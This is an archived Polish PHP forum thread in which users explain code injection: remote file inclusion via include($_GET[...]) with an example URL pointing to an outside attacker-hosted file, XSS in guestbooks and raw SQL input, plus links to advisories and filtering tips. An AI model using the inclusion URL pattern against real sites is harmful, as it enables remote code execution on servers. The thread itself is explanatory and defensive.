Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: code injection
Forum PHP.pl > Forum > PHP
calebr
Wlasnie na czym to polega? Gdzie znajde o tym wiecej informacji. Goggle i manual nic mi nie powiedzialy. Jakies odnosniki, najlepiej z przykladami.
domm
masz na myśli ataki na aplikacje? jeżeli tak to tam znajdziesz coś na temat:
http://www.computerworld.pl/artykuly/31505.html
hyper
Sprawa wydaję się prosta:

Istnieje sobie adres http://qwe.pl/i.php?dzial=jakis
albo jeszcze lepiej http://qwe.pl/i.php?dzial=jakis.php

Jak można się domyślać, ktoś bardzo mądrze napisał kod takiego
skryptu i bezpośrednio używa funkcji include($_GET['dzial']).

W ten sposób możesz wywołać adres:
http://qwe.pl/i.php?dzial=http://123.234.1...okrutny_kod.php

Teraz możesz zmieniać sobie zawartość pliku okrutny_kod.php i
wykonujesz własny kod na prawach serwera www.
msulik
Innym przykładem jest wstawianie kodu html do formularzy. Widziałem wiele takich kwiatków w księgach gości - można było na przykład wstawić ciąg <!--, który zasłaniał wszystko, co występuje poniżej, nie mówiąc już o wstawianiu przez kogoś bardziej złośliwego skryptów JavaScript wywalających przeglądarkę, kradnących dane z formularza lub z cookie czy robiących inne cuda :)

Moim zdaniem, skrajnym idiotyzmem jest np. wpuszczanie do zapytania do bazy czystego tekstu przekazanego prosto z formularza czy przekazywanie przez GET lub POST nazw tabel i ich pól oraz parametrów zapytań, co świetnie zostało opisane w artykule zlinkowanym przez domm'a :)

W goglu można znaleźć wiele ciekawych rzeczy na ten temat, pod hasłem "Cross-Site Scripting" (XSS):
The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
Malicious HTML Tags Embedded in Client Web Requests: http://www.cert.org/advisories/CA-2000-02.html
nawet po polsku coś:
Problemy bezpieczeństwa ośrodków webowych: http://www.networld.pl/artykuly/21050_2.html
Bezpieczeństwo stron www: http://www.hacking.pl/articles.php?id=33

no i sam google, który jest pełen przydatnych informacji na ten temat :)
hyper
Tak, cross-site scripting to całkiem poważny problem i naprawdę ciężko
go uniknąć, czego przykładem był (pewnie jest) swojego czasu Hotmail.

Nawet nasze Allegro.pl miało (ma) ten błąd. Z moją pomocą zmniejszyli
możliwości jego wykorzystania aaevil.gif
g0blin
Czy istnieje jakis skrypt co by wylapywal bledne zapytania ? Jezeli nie to jakie sekwencje nalezalo by wylapac ? Chcialbym sobie do aplikacji zrobic funkcje ktora najpierw bedzie grepowala dane pod wzgledem poprawnosci i dopiero pozniej pozwalala na zapis danych do bazy
domm
Tak na marginesie, nawiązując do przykładu podanego przez Hypera trzeba dodać iż php pod windowsem dość przypadkowo jest "samo w sobie" odporne na ataki z podstawieniem URL-a zamiast własnego, lokalnego kodu:
Manual mówi:
Cytat
Wersja php pracująca pod systemami Windows nie obsługuje dostępu do zdalnych plików w tej funkcji, nawet jeśli opcja allow_url_fopen jest włączona.

Niemniej jednak stosując takie rozwiązanie podania pliku do "includowania" bądź "reqirowania" zawsze można uznać iż skrypt będzie kiedyś pracował pod innym systemem lub kolejna, nowsza wersja php będzie obsługiwać allow_url_fopen i z góry wypada się zabezpieczyć żeby nie pochodził on z innego źródła niż ma pochodzić (np. sprawdzić podejrzane ciągi znaków w zmiennej, takie jak np. "http", "://" itp). Można oczywiście wyłączyć allow_url_fopen, ale chyba nie o to chodzi.
Jednocześnie trzeba przyznać iż ataki typu "code injection" to ciekawy temat; można mieć najlepszy na świecie firewall, dmuchać i chuchać na wszystko a tu mała luka w kodzie i FRUUUUU :wink:
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.